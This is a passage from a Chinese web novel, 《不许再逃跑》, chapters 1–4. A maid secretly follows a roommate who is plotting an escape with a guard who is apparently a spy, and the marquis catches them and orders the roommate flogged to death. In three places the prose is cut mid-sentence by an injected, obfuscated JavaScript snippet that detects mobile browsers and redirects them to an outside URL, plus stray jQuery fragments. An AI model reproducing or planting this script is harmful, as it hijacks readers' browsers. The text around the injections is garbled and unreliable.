《不许再逃跑》 1. 第 1 章 明亮清澈的月亮高挂苍空,层层月光铺洒在茂盛的草丛处。 夜里本是静谧无声的,只是外面几道寥寥蝉鸣,很是聒噪惹人心烦。 虽是深夜少了炙热的太阳,但拢热的暑气犹如蒸笼将人炙烤,宁泠躺在床上,闭眼假寐。 居住的屋子位置不佳,日头出来直晒在屋脊上,南北不通风,房间闷热难耐。 下房本该是四人一间的,但这间屋子人人嫌弃,便只住了两人。 已是亥时众人酣眠时刻,但另一床铺的秋月轻轻唤了声:“宁泠,你睡了吗?” 连续唤了几声后见没人回答,秋月蹑手蹑脚地起身穿好鞋,偷偷摸摸地出了房间。 等房屋的门关好后,宁泠睁开透亮的眼眸,轻叹一口气。今日是六月二十一,这月第四回。 她心里也有些按奈不住,跟在秋月身后轻手轻脚地穿好鞋,凭借着朦朦胧胧的月色遮挡,无声地跟在秋月身后。 为了方便伺候,又不吵着主子们,这些下人的房子紧挨着花园后方,方便照料花儿。 秋月的路径目标朝着花园,花园里此时正是百花盛开,假山层层叠叠,茂密的树木遍布,有不少纳凉的凉亭。 宁泠不动声色地跟着后面,发现前方似乎有一道模糊的身影。 秋月自然率先瞧见了,脚步也迈的更大,步履匆匆,似乎很是急切。 宁泠不敢跟的太近了,小心翼翼地将身影藏在宽大的树木之后,小步小步地挪近距离。 “张哥,你终于来了。”秋月的声音激动,一整个人直接冲了上去。 那道魁梧的身影也开口回答:“刚巡逻完花园,我好不容易才找了借口过来,终于有机会见着你了。” 闻言宁泠猜测出男子身份,大概是府里巡逻的侍卫,男女两情相悦本不是什么稀奇的大事,她本不该多管闲事的。 但他们的主人却是晋阳侯裴铉,与当今圣上是宗亲,皇亲国戚的规矩向来重,两人私会风险很大。 而且这几日秋月常常试图向宁泠借些银子,似乎有什么大动作。 “张哥这几日天气热,你上值可要当心些,莫要中了暑气。”秋月的声音透着甜蜜,还踮起脚步给他擦汗。 眼前女子的腰肢胸脯紧靠过来,张远大手将女子拥入怀里。 “我一切都好,你不必但心。今日你当值可有发现什么人?”张远的嗓音沙哑,手上胡作非为。 秋月脸上红霞爬满,娇羞轻啐:“干什么混账事情。” 她欲要伸手打断他的动作,却被张远紧紧握住双手,他继续追问:“还没回答我呢?” 秋月面露思索回忆道:“今日没瞧见什么人,侯爷早上出了门,傍晚时分才回来的。” 宁泠闻言心头一震,打听主子行踪可是下人的大忌。尤其打探的是裴铉,她虽然没见过他,但听闻他行事毒辣,毫无仁慈之心。 秋月与宁泠都是普普通通的洒扫丫鬟,在府里一没背景二无靠山。 宁泠负责的洒扫范围是花园后面角落那一块,是个偏僻人少的好地方,往日里一整天也碰不上几个人。 而秋月负责的是裴铉院子前面那一片。若是每日仔细注意,悄悄记下他何时出门,何时回来,留心谁进了他的院子也不是什么难事。 张远将一个包裹递给秋月:“里面有些首饰,是我专门托人给你买的,等会你回去瞧瞧喜不喜欢,里面还有封信是给我家人的。” 宁泠纳闷,既是他给家人的信,为何给秋月。她们又不能出府,而且府里有人张罗送信寄信之事,她那情郎自己便可以办到,何须麻烦秋月? 两人姿态亲密紧贴着说了不少话,宁泠听不太清楚。 夏日里靠近花草树木的地方,总有一大堆蚊子絮絮嗡嗡地飞着,宁泠已经忍了一些时间了,眼看没有得出什么重要消息,也有点想离开了。 那边秋月还和那情郎之间气氛愈加暧昧,两人似乎激情拥吻,宁泠似乎瞧见男子那只大手已经伸进了秋月的衣怀之中。 重重的喘息后,女子娇羞道:“死鬼,你怎么能在这里,被人看见怎么办?” 张远爽朗低笑:“那便去假山后,没人能看见。” 宁泠深知后面的内容她不宜观看,寻了个机会便先行回来屋子。 躺在热烘烘的床榻上后,宁泠复盘着刚才的信息,回想着近日来秋月找各种理由向她借银子。 有她情郎救济,应该不差钱才对。又继续琢磨她情郎给家人的信为何要给她?莫非她能去她情郎家,将信亲自带给他的家人? 可是她们是签了死契的丫鬟,平时想跟着管事出门采购都需有人脉疏通关系,才能落得这种好差事。就算跟着出门采买,也不可能放她独自一人离开,更何况是一个人去男人家? 而且她进府邸时日不长,管事不可能放她外出。 思来想去也是那情郎自己去送信更加可行,可他偏偏将信给了秋月,两人之间肯定有着不可告人的其他秘密。 一个大胆的念头在宁泠头脑忽然升起,莫非她想偷偷逃出去? 对了,她情郎是个巡逻的侍卫,每夜那处巡逻紧密,那里守卫宽松,必然是一清二楚。 眼前两人已是颠龙倒凤,但秋月进府也只比她久一些。赎身不仅要一笔高价的银子,还有年龄限制,两人那里等得及。 加上秋月频频问她借点银子,她多半想趁机从她这里借点银子,一走了之。 辗转思索下,宁泠沉睡了过去,连秋月何时回来的都不知晓。 翌日一早,两人起床梳洗后,就瞧见秋月坐在铜镜前美滋滋地往头上簪一根银簪子,上面刻着花骨朵了,十分崭新。 她笑眯眯地转过身子问道:“你瞧我这新簪子可好看?” 宁泠淡笑点点头:“好看。” 知道这估计是她情郎昨晚送给她的。 秋月看着她不冷不淡的模样,其实心里有些不开心。她不似宁泠长的漂亮,总觉得宁泠瞧不上她。所以才卯足了劲想着借钱坑她。 “我这个月手头紧,你借点给我嘛,我下个月加上利息还给你。”她知道宁泠的月银基本存着不动,必定有不少积蓄。 “你的月银呢?”猜测她的打算后,宁泠自然更不可能借银子了。 “我这不是刚买了新簪子嘛,而且你在银子白白放着又不会生崽,借给我还给你算利息勒。” “那你何时能还我?”宁泠想知道她何时逃跑的信息。 “下月初一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836531|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定就能还你。”秋月保证道。 宁泠只是笑笑摇摇头就出门了。 近来几日天气越发炎热,炙热明亮的太阳直晃晃地挂在上空,下午刺眼的阳光将地面烘烤滚烫。 四周寂静无人,今日宁泠干完活也懒得回去,在一处草木茂盛之处纳凉。 她依靠在宽大树木上,思考着最近几晚秋月都没有再出去。 那日的信息推测她必定近日逃跑,但她出去后的户籍又该如何处理?自古以来逃奴可是重罪。 最奇怪的是她那情郎让秋月关心裴铉的动静?是想特意等他不在府里在行动? 她正轻皱柳叶眉思索时,耳边传来淅淅索索的细碎声响。 宁泠轻手轻脚地四处张望,这热死人的天气便是流浪的猫猫狗狗都不愿意出来,是谁呢? 她虽然没看见人,却听见了秋月熟悉的声音:“张哥,我还以为你把我忘记了呢。” 男子接着回答:“怎么?你不知道这几日我为了打探消息有多忙。” 女子轻笑的声音传来:“张哥你真好。” 宁泠轻轻摇摇头,这张哥撺掇她去当逃奴,可不见得是什么真诚实意,若是被逮住送官怕是免不了。 不过他两已然发生关系,又没有什么有效措施,以后有孕了也是一件难事。 男子又开门见山地问道:“今日侯爷可见了什么人?” 秋月连忙回答:“昨夜我深夜回来之前,都未曾见到侯爷回来,许是一夜未归。” 男子沉默了片刻,又继续嘱咐道:“你近来继续留心些。” “张哥,我们天天打探主子的动向干嘛?侯爷脾气不好,前儿才打死身边贴身侍女。他若是发现了我,可不扒我一层皮。”秋月声音焦急,内心隐隐带着不安。 男子安抚道:“我这不是为了后日的计划嘛,他若是不在府上,到时可不是更加方便行事。” 宁泠认定男子在说谎,若真是因为这样,直接关注裴铉何时出门,何时归来即可。 为何偏偏留心他见了什么人,又是何时见得?倒像是留心他的动静去向。 秋月立刻就被情郎的三言两语糊弄了:“那张哥你是怎么安排的?” 张远似是自得一笑:“你家相公都打探好了,后夜亥时你就出发,记得千万动静小些。从你屋到今日这地方,再到东南院子,从东南小角门出去。” “可每日都有侍卫巡逻,而且大门处也有人把守。”秋月明显不安。 “你家男人都打点好了,这条路线那个时刻是没有侍卫巡逻的,而且东南小角门的守卫我认识,到时候我拉着他们闲聊,你趁机溜出去就是。” “那我就放心了,张哥你办事我放心。” “你出去往南一直走,自有我家里人接应,那封信你可一定要带给他们。”张远再三叮嘱道。 “放心,这种大事我可不会忘记呢。”秋月紧张问道,“咱们不会被侯爷发现吧?” “怎么会?区区个丫鬟他那里会留心。” 接着传来口舌濡湿的声音,以及喘息声,止住了秋月继续问话。 宁泠心跳加速,脑袋疯狂转动,盘算着自己要不要趁机逃跑?以后再有这样的机会不知道要等到何时了。 2. 第 2 章 可是宁泠也有所顾虑,届时秋月出去倒是有人接应。 她一个没户籍的人,出去孤身一人可如何是好? 浑身上下加起也没几两银子,在外面又没户籍不知要如何生活。 但若是继续留在府里,听闻那裴铉狠辣无情,不知何时小命不保,而且什么时候才能够攒够银子。 宁泠决定先做好准备,等后夜根据情况再做最后决定。 越是临近后日,她发现秋月越加紧张,经常枯坐在床榻处思考。 秋月回神一抬头就对上宁泠探究的眼神,她尴尬一笑:“这天气可真是太热了。” 宁泠回应点点头:“等过了这一阵就好多了。” 接着秋月起身收拾整理衣物,她将前不久才绣好的两双鞋袜递给了宁泠。 对上宁泠诧异地眼光,她变扭回答:“这些东西我绣的太多了,也用不上,干脆送你些。也省得你花钱去买。” 宁泠似水如秋的眉眼弯弯,收下答谢道:“那就谢谢你了。” 秋月的刺绣手艺不俗,这两双鞋袜她若是想便宜些卖出,其实不缺买家。 秋月与宁泠同住也不过堪堪几个月罢了,两人之间虽然不熟,但她知道宁泠其实是个不争不抢,好相处的人。 不过是她每日看见宁泠那副芙蓉美面,细柳腰肢,如玉肌肤不爽罢了。 虽然身在王府里,她见过不少美人。侯爷争晖院里的贴身丫鬟她都见过,个个花容月貌,宁泠却与她们都不一样,尤其那双水汪汪的眼眸,惹人怜爱。 “你长得美,以后前程比我好的多。恐怕看不上我这粗工。”她忍不住酸言酸语。 宁泠将鞋袜拿在掌心仔细瞧了瞧:“皮囊而已,何必在乎。姐姐有双巧手,我可是求之不得呢。” 见她好心送自己鞋袜,宁泠忍不住多嘴道:“世间见色起心之人数不胜数,有情郎难寻。咱们女儿家可要小心。” 说罢,宁泠偷偷瞟了眼秋月,见她已然低垂着头,两耳染红,一副恋爱中你侬我侬的模样,她也不好多说。 后日亥时一到,今日只有一弯弦月低挂,月色朦胧,树影婆娑,似是上天都在助秋月一臂之力。 宁泠暗中观察,知晓她前几日就已收拾好了随身行李。 她安静地躺在床上,反复思考着要不要跟上呢? “宁泠,宁泠,你睡着了吗?”秋月低声轻呼。 宁泠没有回答。 秋月明显长长舒了一口气,接着起身轻轻穿好鞋袜。从床底拿上藏好的包裹,头也不回地走出房门,关好房门。 宁泠等了片刻后先暗中观察一番,接着起身跟上。 外面的夜色如墨悄无声息地掩盖着行踪,遇见有房屋树木遮挡月光的地方,基本是伸手不见五指。宁泠特意穿了身藏青色的丫鬟衣袍,深暗的绿色混杂在夜里的草木里丝毫不打眼。 她与秋月居住的下房因着南北不通风,夏日里整日暴晒,所以附近几间房屋都放置着杂物。有人居住的那几间,只要不经过应该不容易被发现。 因着知道大概路线,宁泠很快就追赶上秋月的身影。 她远远跟着,一路上连呼吸都轻微屏住。 那张哥所说的应该是实话,一炷香的功夫过去,她们都没有遇上一个巡逻的侍卫。 宁泠心里暗喜,她没有像秋月一般携带包裹,只是将自己仅有的几两碎银都贴身藏好。 半个时辰后,她跟着秋月顺利地穿过东南处的园子。 听闻东南院子是准备给裴铉妾室所居住的地方,但因着他脾气暴躁,心狠毒辣,所以迟迟没有定下亲事。大户人家向来是有了正妻,才会置办妾室。 眼下无人,两人行进的速度就快了些。 亥时的天气转凉,带着降下的甘露,沾湿了两人的衣角。 两人都是干普通杂活的女子,体力自然比不上男子,又是提心吊胆地走了一路。 心神体力都消耗巨大,衣裳都被汗水浸湿。 一阵带着凉意的晚风袭来,两人都忍不住浑身一颤。 越是离东南角门越近,两人越是紧张。 东南角门是平时仆妇丫鬟们出门的地方,守卫也是最宽松的。 秋月躲在一处绿油油的灌木丛中观察,角门处只有两个男子守卫。 其中一个还打着瞌睡,另外一个无所事事地四处张望。 秋月也小心翼翼地四处环视,她在寻找张远的身影,他们可是商量好了的。 她的脑袋四处转动时,身子也跟随着微动,肩膀上挎着的素色包裹挂在灌木枝上,发出刺耳的声音,灌木丛也跟着颤抖。 “是谁?”正观察周围的侍卫立刻发现了异常。 这声惊呼立刻吓醒了正打盹的侍卫,他揉了揉惺忪的睡眼。 躲在灌木后的秋月闻声吓得浑身僵硬,挂在树枝上的包裹也不敢取下,额间冷汗狂流。 远远跟在身后宁泠自然也看见了,她瘦小的身影被树木掩盖。 “那里有人?”打盹的守卫不满嘟囔道。 “我刚才明明就看见了,那灌木丛在动!”李守卫眼睛紧紧地盯着刚才有异常的地方,“后面肯定藏了什么。” 偷懒的守卫懒得多管,摆摆手敷衍道:“你想多了,这里靠近厨房,猫狗耗子闹出点动静太正常了。” 李守卫不依不饶:“我去看看。” 他手里紧紧捏着把红枪,金属锋利的枪头在月光的照耀下散发着锐利光芒。 他斜刺着红枪,踩着步子,一步步像是在秋月的心脏上踏步般走来。 他每靠近一步,秋月的神色就越紧张。 再有几步,他就能够绕过灌木丛发现她了,秋月忍不住全身打颤,吓得眼泪流出。 忽然,一道男人的声音响起:“李大哥,你这是在忙什么了?” 秋月与宁泠都齐齐地松了一口气,宁泠又发现这不是那张哥的声音。 李守卫端正身姿,看着身后之后,声音诧异:“老周?你怎么在这里。” 都是一个王府的侍卫,巡逻和侍卫都是轮流值班,两人还算相熟。 “嗨,我这不刚刚巡逻完了,想着咱们哥俩许久未见了,顺路就来打个招呼。”老周说话间还掂了掂手里的食盒。 打盹的守卫立马嗅了嗅鼻子:“带的什么好东西?” “是烧鸡,今日专门让人从外面捎进来的。”老周打开食盒,一直金灿灿的烧鸡摆放在白瓷盘,洁白的颜色衬得金黄的烧鸡更是诱人。 “再来一壶好酒就好了。”胖胖的守卫凑过来说道。 老周爽朗一笑:“若是不上值,必然要好酒好肉来一顿。今晚你们守夜,哪能喝酒。” 这番话彻底打消了李守卫的戒心,刚刚他还怀疑他不会趁机灌酒做些偷鸡摸狗的事情。 胖胖的守卫接过食盒:“老李还不来,我可不给你剩啊。” 他大嗓子一喊,李守卫也忘了眼前的事情,连忙收好红枪折身而返回。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836532|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三人去了上值休息的小屋休息,里面传来几人谈笑的声音。 秋月松了一口气,轻手轻脚将挂在树枝上的包裹取下。 接着弓着身子偷偷打量,发现房门紧闭但没有上锁,只要过去推开角门出去,便自由了。 躲在后面的宁泠却是眉头紧蹙,不对! 那日商量好来的人明明是张哥,难道他是被事情耽搁了,还是发生了什么? 而且小角门竟然没有上锁,还是如此懒散的两人守卫。 以前她特意打探过消息,晚上各个能够出入的大门都要落锁。 若是夜里有急事要出去,需要管家的对牌才能放行,况且今夜一路上都太顺利了 张哥不过是王府里的一个小小侍卫,真的有如此权力? 秋月显然没有这么多顾虑,看见他们宽大的身影挡在窗户上时,直接拿好包裹,快速冲到角门前,推门跑了出去。 宁泠内心紧张,知道机不可失时不再来。可又有所顾虑,不知为何是好。 她焦急地做决定,不过三个呼吸之间。 啪、啪、啪 忽然外面传来几声响亮的鼓掌声,众人都呆呆愣了一下。 紧接着外面传来一道低沉悦耳的声音:“真是好极了。” 三人闻声立马从休息的小屋冲出来,又听见东南小角门砰地一声巨响,角门直接被人从外一脚踹开,门板四分五裂,声势骇人。 只见为首一男子身着暗红色圆领长袍,身量欣长,通身贵气逼人,面相英俊,颇有几分桀骜不驯。 他身后紧跟着一个侍卫,手持一把大刀,气势凌厉,虽然隔着朦胧月色,能够知晓是个武艺高强之人。 他另一只手单手拎着一个女子,似乎是随手拎着一只鸡般简单。 宁泠躲在树后的身影打颤,认出那个被拎着的女子是秋月。 她心跳快速加速,胆战心惊地思考下一步。 “你是谁?”李守卫犹豫再三还是开口,但气势明显弱了。 手握大刀的林韦德开口:“混账东西,连侯爷都不认识?” 三人立马颤颤巍巍地跪下行礼,被逮住的秋月面色惨白,浑身颤抖不止。 林韦德丝毫没有怜香惜玉的想法,直接将秋月重重甩在地方:“你们是如何当值的?有人跑了都不知晓?” 三人面面相觑,李守卫最先反应过来,手指指向老周:“是你与她串通好了的?” 老周一愣,大喊冤屈:“老李,你可别什么屎盆子都往我头上倒啊,我不过好心给你两送了只烧鸡,但都是按照规矩来的啊。” 裴铉被俩人的大嗓门吵得头疼,轻轻揉了揉太阳穴。 老周正要继续狡辩时,裴铉直接一脚猛踹过来:“真是聒噪。” 男人身形高大,一脚踹出劲道极大,李守卫立刻口吐鲜血,倒在地上说不出话来。 剩下来的两个立马犹如小鸡仔一般蜷缩身体,不敢随意开口说话。 躲在树后的宁泠瞧见来人如此凶神恶煞,内心备受煎熬。 是速速离开为妙,还是暂时不轻举妄动更为安全呢? 裴铉似是感受到了,他眼皮微抬,一双锐利的眼眸扫视周围。 倏地他轻笑一声,笑声清冽如泉水,悦耳动听。 宁泠却内心犹如打鼓,心脏狂跳不止。刚刚他遥遥环视,似乎有意无意扫过这树木。 接着他那道催人性命的声音响起:“躲在那里偷看好玩吗?” 3. 第 3 章 宁泠的面色霎时惨白,她被发现了。 但她也不敢轻举妄动,只能努力平复心绪,安慰自己许是那裴铉使诈唬人。 很快她美好的想法就被打破,男子沉稳有力的脚步响起,声音带着悦耳的笑意:“你既然不愿出来,那本侯爷只能亲自来找你了。” 宁泠头皮发麻,脚步声愈发靠近,不知为何她心里有个念头正催促自己主动出去。 她躲在树后深呼一口气,走了出去。 裴铉已是走至郁郁葱葱的大树面前,见一道女子纤细的身影从树后钻出。 淡淡银白光的月色打在女子脸上,一张小小尖尖的瓜子脸,一双杏眼灵气动人,眼含星光。 身上朴素简单,发髻上没有一点首饰,皆由绿色丝绦绑好。 宁泠偷偷观察他,暗红色的长袍,气势不凡。一双上挑的眉眼,似是带着笑意,仔细观察便能发现暗藏杀意。 身高极高,面容俊美。只是在阴暗的婆娑模糊的树影下,如暗夜修罗要夺人性命。 “小娘子,你躲在树后干什么?”裴铉视线流转在她身上。 尚未嫁人的女子在外被男子称为小娘子,是很普普通通的称呼。 宁泠却是内心不喜,她面上不显,声音惶恐回答:“奴婢是府上的小丫鬟,半夜饿了想去厨房看看有无残羹剩饭,所以才惊扰了主子。” 东南角门靠近厨房,这个回答也算是合情合理。 倒在地上低垂哭泣的秋月,听见熟悉的声音,激动地抬起脑袋。 她这番动作惹得裴铉侧目而视。 裴铉语调上扬:“哦?是吗?” 宁泠正在思考如何回应时,旁边的秋月按奈不住,激动回答:“侯爷,她是与我同住的丫鬟。” 引得裴铉一双如鹰摄人的眼眸又盯着宁泠,由不得她多加思考。 她斩钉截铁回答:“对。奴婢的确与秋月同住,但奴婢真的只是想找点吃食。” 她一脸认真的模样,说谎话半点也不脸红。引得裴铉轻笑出声。 林围德浑厚的声音响起:“主子,这些人如何处理?” “将人都带回争晖院。” 院外夜色漆黑,院内烛火明亮。 院内的人都整整齐齐候在院子内等待,一把紫檀木椅子搬至门口。 院子内的四处角落还放置着几个冰盆,冰盆内正冒着丝丝凉雾,院内似是将外面的炎热都隔绝开。 裴铉稳稳坐在上方紫檀木掉木靠椅上,宽肩随意地倚靠往后,一双笔直的长腿肆意摆放。林韦德抱着刀守在他身旁,一位容颜姣好的侍女也候在一旁。 宁泠几人跪在他下方处,其中老周被踹了一脚后,被人直接拖了过来,气息奄奄倒在地上,已是进气少出气多的状态。 秋月一张脸早已哭得稀里哗啦,满是泪痕。 “去,查查她的包袱。”裴铉修长的手指轻轻一点。 林韦德立马走来,一把夺过秋月的手腕处挂着的包裹。 他当着众人的面,蹲下打开包袱在里面挑挑拣拣。包袱内大多是些值钱点的首饰之类,只有那封信十分出挑。 宁泠瞧见不知为何猛地心惊肉跳。 林韦德捡起那封信,起身双手递给裴铉。 他那双如上好白玉的手接过信封,直接拆开,一目十行地向下阅读。 跪在下方的宁泠偷偷打量他的神情,见他似是就见了什么有趣的东西,眉眼微挑。 剑眉俊美,风流一挑,可宁泠察觉到了危险。 裴铉嗤笑一声,将信揉成一团,砸在秋月额前:“你可认得写得什么?” 纸团从秋月的额间弹落在地面,她慌慌张张地张嘴:“侯爷,奴婢不识字。” 宁泠跪在她身旁,盯着地上的纸团,只能窥得少数几个字。 文、王、邓等等几个竟都是姓名,其中还有他们王管家的名字。 因着是当初他将宁泠买进府的,所以知晓他的名字。这那里是一封寻常的家书啊,明明是一道催命符。上面估计详细地写了裴铉每日见了何人,何时出府归来等等。 “既是不识字,作甚带着它?”裴铉的审问继续咄咄逼人。 秋月慌了神,结结巴巴回答:“奴婢只是想给家里人带封信问好。” 眼下她已是遭了祸事,无论如何也不能将张哥再牵连进来了。 “真是谎话连篇,你都不认字,你家里人又岂会识字。再说都私自逃跑了,何事不能与家人当面说。你若是主动交代清楚,本侯便饶你一命。”裴铉不急不躁地接过一盏茶。 秋月已是被吓傻了魂,张嘴欲要说些什么,又低垂着脑袋:“奴婢被猪心蒙了心,真的只是想回家看看。” 说完话后,她终于忍不住,情绪崩溃嚎啕大哭。 坐在上首的裴铉,面色不耐烦,眼眸幽深,狠辣之色愈显。他揉了揉刺痛的太阳穴,对着身旁的林韦德,声线低沉:“撬开她的嘴,我要听实话。” “是。”林韦德将大刀背会宽阔的背上,单手将秋月拎起,下面早已有人将行刑的木板准备好。 他将秋月直接拖至木板上,秋月一路上疯狂地挣扎,叫唤求饶。 裴铉的亲卫上前用绳子将秋月绑好,旁边面色凶煞的两人举着两指厚,女子腰粗般的红木板子。 “可有什么想说的?”林韦德沉闷的声音问道。 如今的秋月连挣扎的机会都没了,如同过年时即将被宰杀的猪,她恐慌地求饶:“侯爷,奴婢知道错了,奴婢再也不敢当逃奴了!” 宁泠回头看了眼如案板上鱼的秋月,内心不安。不知裴铉又会怎么处理自己? 她只能希望秋月挨了几板子后,就能主动供出张哥,而不是负隅顽抗,丢了小命。 “你可比她要聪明的多。”裴铉忽地意味深长说道。 宁泠有点没头没脑,但还是硬着头皮求饶:“奴婢深知晚上乱跑坏了规矩,请求主子从轻处罚。” 好一个避重就轻,比那秋月识时务多了。 先前一句饿了一口咬死,如今见了刑罚便卖乖求饶了。 他打量了眼宁泠藏绿色地长裙,衣裙半旧,但穿在她身上,却衬得肌肤赛雪,一截柳腰,他一手便可握住。 他把玩着掌心浅绿色描花的茶蛊:“你叫什么名字?在府上何处当值?” 身后秋月受杖责地声音传来,厚厚的一板子下来只发出点闷响,以及秋月的凄惨的叫声。 宁泠面色惨白如纸,声音虚弱回答:“奴婢名为宁泠,在花园后面负责洒扫。” 秋月尖锐的惨叫声连连,满院子上方都回荡着她的声音。 裴铉不满地瞥了一眼,林韦德立马让人用麻布堵了秋月的嘴。 炎炎六月的夏天,四处角落的冰气却顺着地面,爬上宁泠的小腿,直直窜到她的心里。 在此刻她与秋月都不算严格意义上的人,他们只是主人的附属,是被生杀予夺,任意对待的奴隶。 “宁宁?”秋月尖锐的惨叫掩盖了宁泠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836533|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回答,裴铉喃喃低念。 “是泠,湘君泠泠水,泛舟逍遥游。”宁泠忍不住纠正读音。 裴铉多瞥了她两眼,明明已经害怕到身体颤抖,额间冒出冷汗,却还要犟脾气地纠正。 可见是个牛脾气,犟得很。 纤细单薄的身影笔直的跪着,背脊挺拔不肯弯曲一点。 半点看不出有做奴才的自觉,似是自有一番傲骨不屈。 “竟还会些诗书,那可会识字?”裴铉继续问道。 曾经家有闲钱的时候,阿爹让她去私塾学了一些时日,故而宁泠只会些简单的,其他的太复杂的字也不认识。 她尴尬地羞红了脸,声音轻轻:“不会。” 紧接着低下头,美人娇羞,面若红霞。 秋月那处结结实实的几板子下来,她眼神乞求地望着裴铉。 林韦德抬手示意亲卫停手,他粗鲁地取下麻布:“可有什么好交代的?” 秋月大口大口喘着气,呼吸着新鲜空气。 嗓音带着哭泣:“奴婢真的只是想回家,没有想背主,求侯爷饶命。” 上位处的裴铉冷冰冰地瞥了一眼,冷笑:“没想到还是块硬骨头,真是不见棺材不掉泪。” 林韦德看了眼秋月后腰处,已有淡淡鲜血流出。 又继续问道:“这封信是谁给你的?” 秋月顿时瞪大双眼,连忙否认:“是我找识字的人代写的。奴婢再也不敢了。” 宁泠秀眉轻拧,秋月这是在找死。那封信分明是将裴铉的行踪信息全部泄露,那张哥必定多半是个探子,估计早就包藏祸心,使计骗了秋月给他传送消息。 林韦德不再多说,眼神继续亲卫继续。 裴铉坐在上首处,将下面的众人的情况都收入眼中,宁泠轻微的表情变化也被他敏锐发现。 “你既然与秋月同住一屋,起身后是否发现她不在?”裴铉冰冷地眼神转移至宁泠面前。 宁泠低头错开眼神:“奴婢起身时黑灯瞎火,没有多加留心。” 活似个小狐狸,很是狡黠。 “那你刚才躲在树后,明明看见了她逃跑,为何不上报?” 宁泠内心咯噔一声,知道最要紧的问题来了:“奴婢隐藏在树后时,并未看见秋月,只瞧见守卫在屋内。若是屋外有人,奴婢必然不敢呆在那,唯恐被人发现。” 裴铉是捉住秋月才踹门而入,谁能证明她看见秋月逃跑了? 她只需咬死自己饿了夜里觅食,恰巧碰上而已。 撒谎!这小娘子刚才看见信上人名时,明显带着惊讶神色,听见秋月回答后更是面露不忍,明显是知道什么隐情。 裴铉费了些时间,还没知晓想要的,心情烦躁。 他毒蛇似阴暗的眼神一一扫过下面的众人,几个守卫都吓得头顶伏地,痛哭流涕跪地求饶,大喊饶命。 宁泠才来侯府不久,对这些礼仪还十分陌生。 众人都伏地趴在那求饶,独独余她一个腰杆挺直。 她慢半拍地反应过来,跟随众人求饶。却依旧在人群里十分出挑,引得裴铉侧目。 审问耗了些时辰,裴铉为数不多的耐心也消耗殆尽。 他端起茶蛊缓缓饮下一口茶,果断决策道:“秋月私自出逃,杖毙处死。剩下几个守卫监管不力,就全部军棍十下,赶出王府。” 接着他起身离开座椅,极具压迫性气势弥漫,他蹲在宁泠面前,眼神微眯。 “至于你——” 4. 第 4 章 “你知道说谎被我逮住,会是什么下场吗?” 一张俊脸忽地在宁泠面前放大,轮廓分明的线条,高挺的鼻梁。 可她都无心关注,强行稳住心神:“奴婢没有撒谎。” 秋月痛苦的呜咽声不断传来,板子重重砸在皮肉上的声音充斥在院内。 那张哥多半是他人的探子,自己倒是逃之夭夭了,留着秋月为他顶罪。 当初裴铉让她坦白从宽,可饶她一命,可她满心满眼都是那点催人命的情情爱爱。 秋月那处的惨叫声愈发虚弱,宁泠忍不住回头望去。 鲜血从她的后背、腰臀处稀稀拉拉地流下,地面上已经拢积了一小滩刺眼的红色。 捆绑在秋月身上的绳子,早已经被鲜血染红,随着时间的变化,逐渐氧化成暗红色。 秋月的口腔处开始溢出鲜血,显然她挺不了多久。 宁泠呆呆地望着眼前,只觉浑身发冷。在这个侯府人命是多么的微不足道。 与尘埃里的蝼蚁有何区别,他一句话一个眼神都可以决定他人的生命。 明明是六月酷暑的天气,她忍不住打着寒颤。 秋月身旁的两个亲卫仿佛不知疲惫,高高扬起板子重重落下。 落下的板子仿佛打在了宁泠的心口处,疼得厉害。 她想起秋月送她的两双鞋袜,绣工极其漂亮,是用了心思的。 最终她还是忍不住紧闭双眼后睁开,豁出去问道:“若是能知晓这封信是谁的,就能饶秋月一命吗?” 那边的林韦德闻言立刻呆住,多瞧了宁泠两眼。 秋月不可置信地瞪大双眼,不可能,她怎么知道?她若说出张哥,那张哥小命难保,自己就算能逃过一命,也估计好不到哪里去。 她嘶哑嗓子道:“你可别胡说。” 话还没说完,林韦德手脚麻利地拿过刚才的麻布堵上。 秋月只得拼命向宁泠摇头,眼神乞求。 “我怎么知道你说的是真话?”裴铉轻笑道,“你要胡乱找个人搪塞,又如何分辨?” “奴婢不敢欺瞒侯爷。”宁泠现在的脑袋似是一团麻绳,理不清。她自己都不确定张哥此人,但是她不想冷眼瞧着秋月去死。 她过不了心里那关。 “秋月与侍卫有染,我听她唤那侍卫为张哥,想来是姓张。”宁泠声音清澈地叙说,她又回忆了那日的情形,“六月二十一那夜亥时,他刚好巡逻花园附近,待巡逻完后他就找了借口来寻秋月。” 宁泠抬起明亮动人的眼眸:“侯爷可派人查查,六月二十一那些人巡逻了花园,又有谁之后找借口脱离队伍了。” 裴铉朝林韦德点点头,他立刻离开前去查询。 